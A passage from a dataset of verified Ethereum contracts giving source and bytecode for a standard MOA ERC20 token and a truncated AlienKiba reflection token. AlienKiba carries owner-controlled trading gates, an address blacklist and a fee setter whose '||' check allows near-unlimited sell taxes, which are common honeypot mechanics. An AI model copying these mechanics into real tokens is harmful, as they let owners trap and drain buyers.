address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x9d69e10bbc9c841818cae2bcca5363c66e010ef4 | pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title SampleCrowdsaleToken
* @dev Very simple ERC20 Token that can be minted.
* It is meant to be used in a crowdsale contract.
*/
contract MoaToken is MintableToken,PausableToken,BurnableToken {
// solium-disable-next-line uppercase
string public constant name = "MOA Token";
string public constant symbol = "MOA"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
} | 0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012157806306fdde031461014a578063095ea7b3146101d457806318160ddd146101f857806323b872dd1461021f578063313ce567146102495780633f4ba83a1461027457806340c10f191461028b57806342966c68146102af5780635c975abb146102c757806366188463146102dc57806370a0823114610300578063715018a6146103215780637d64bcb4146103365780638456cb591461034b5780638da5cb5b1461036057806395d89b4114610391578063a9059cbb146103a6578063d73dd623146103ca578063dd62ed3e146103ee578063f2fde38b14610415575b600080fd5b34801561012d57600080fd5b50610136610436565b604080519115158252519081900360200190f35b34801561015657600080fd5b5061015f610457565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610199578181015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e057600080fd5b50610136600160a060020a036004351660243561048e565b34801561020457600080fd5b5061020d6104b9565b60408051918252519081900360200190f35b34801561022b57600080fd5b50610136600160a060020a03600435811690602435166044356104bf565b34801561025557600080fd5b5061025e6104ec565b6040805160ff9092168252519081900360200190f35b34801561028057600080fd5b506102896104f1565b005b34801561029757600080fd5b50610136600160a060020a036004351660243561056e565b3480156102bb57600080fd5b5061028960043561067b565b3480156102d357600080fd5b50610136610688565b3480156102e857600080fd5b50610136600160a060020a0360043516602435610698565b34801561030c57600080fd5b5061020d600160a060020a03600435166106bc565b34801561032d57600080fd5b506102896106d7565b34801561034257600080fd5b50610136610749565b34801561035757600080fd5b506102896107f3565b34801561036c57600080fd5b50610375610875565b60408051600160a060020a039092168252519081900360200190f35b34801561039d57600080fd5b5061015f610884565b3480156103b257600080fd5b50610136600160a060020a03600435166024356108bb565b3480156103d657600080fd5b50610136600160a060020a03600435166024356108df565b3480156103fa57600080fd5b5061020d600160a060020a0360043581169060243516610903565b34801561042157600080fd5b50610289600160a060020a036004351661092e565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051808201909152600981527f4d4f4120546f6b656e0000000000000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff16156104a857600080fd5b6104b283836109c7565b9392505050565b60015490565b60035460009060a860020a900460ff16156104d957600080fd5b6104e4848484610a31565b949350505050565b601281565b60035433600160a060020a0390811691161461050c57600080fd5b60035460a860020a900460ff16151561052457600080fd5b6003805475ff000000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460009033600160a060020a0390811691161461058c57600080fd5b60035474010000000000000000000000000000000000000000900460ff16156105b457600080fd5b6001546105c7908363ffffffff610b9f16565b600155600160a060020a0383166000908152602081905260409020546105f3908363ffffffff610b9f16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a03851691600091600080516020610f368339815191529181900360200190a350600192915050565b6106853382610bb2565b50565b60035460a860020a900460ff1681565b60035460009060a860020a900460ff16156106b257600080fd5b6104b28383610ca1565b600160a060020a031660009081526020819052604090205490565b60035433600160a060020a039081169116146106f257600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b60035460009033600160a060020a0390811691161461076757600080fd5b60035474010000000000000000000000000000000000000000900460ff161561078f57600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b60035433600160a060020a0390811691161461080e57600080fd5b60035460a860020a900460ff161561082557600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600381527f4d4f410000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff16156108d557600080fd5b6104b28383610d9a565b60035460009060a860020a900460ff16156108f957600080fd5b6104b28383610e81565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461094957600080fd5b600160a060020a038116151561095e57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6000600160a060020a0383161515610a4857600080fd5b600160a060020a038416600090815260208190526040902054821115610a6d57600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610aa057600080fd5b600160a060020a038416600090815260208190526040902054610ac9908363ffffffff610f2316565b600160a060020a038086166000908152602081905260408082209390935590851681522054610afe908363ffffffff610b9f16565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610b44908363ffffffff610f2316565b600160a060020a03808616600081815260026020908152604080832033861684528252918290209490945580518681529051928716939192600080516020610f36833981519152929181900390910190a35060019392505050565b81810182811015610bac57fe5b92915050565b600160a060020a038216600090815260208190526040902054811115610bd757600080fd5b600160a060020a038216600090815260208190526040902054610c00908263ffffffff610f2316565b600160a060020a038316600090815260208190526040902055600154610c2c908263ffffffff610f2316565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a03851691600080516020610f368339815191529181900360200190a35050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610cfe57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610d35565b610d0e818463ffffffff610f2316565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b6000600160a060020a0383161515610db157600080fd5b600160a060020a033316600090815260208190526040902054821115610dd657600080fd5b600160a060020a033316600090815260208190526040902054610dff908363ffffffff610f2316565b600160a060020a033381166000908152602081905260408082209390935590851681522054610e34908363ffffffff610b9f16565b600160a060020a0380851660008181526020818152604091829020949094558051868152905191933390931692600080516020610f3683398151915292918290030190a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610eb9908363ffffffff610b9f16565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600082821115610f2f57fe5b509003905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058205b321f52e5f385f6e2abba5e5717a52e44619e9319fe68679ec4477e33b1fca40029 | {"success": true, "error": null, "results": {}} | 9,600 |
0x4ab55cf85e0b23cb35957e74be036e28d908c9b9 | /**
*Submitted for verification at Etherscan.io on 2022-05-04
*/
// SPDX-License-Identifier: Unlicensed
//☎️https://t.me/AlienKiba
//💻https://alienkiba.com/
//🐦https://twitter.com/AlienKiba
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AlienKiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "AlienKiba";
string private constant _symbol = "AlienKiba";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private _removeTxLimit = false;
uint256 public _maxTxAmount = 2e7 * 10**9;
uint256 public _maxWalletSize = 2e7 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
if(!_removeTxLimit){
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(!_removeTxLimit){
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
bots[bots_[i]] = true;
}
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
function setRemoveTxLimit(bool enable) external onlyOwner{
_removeTxLimit = enable;
}
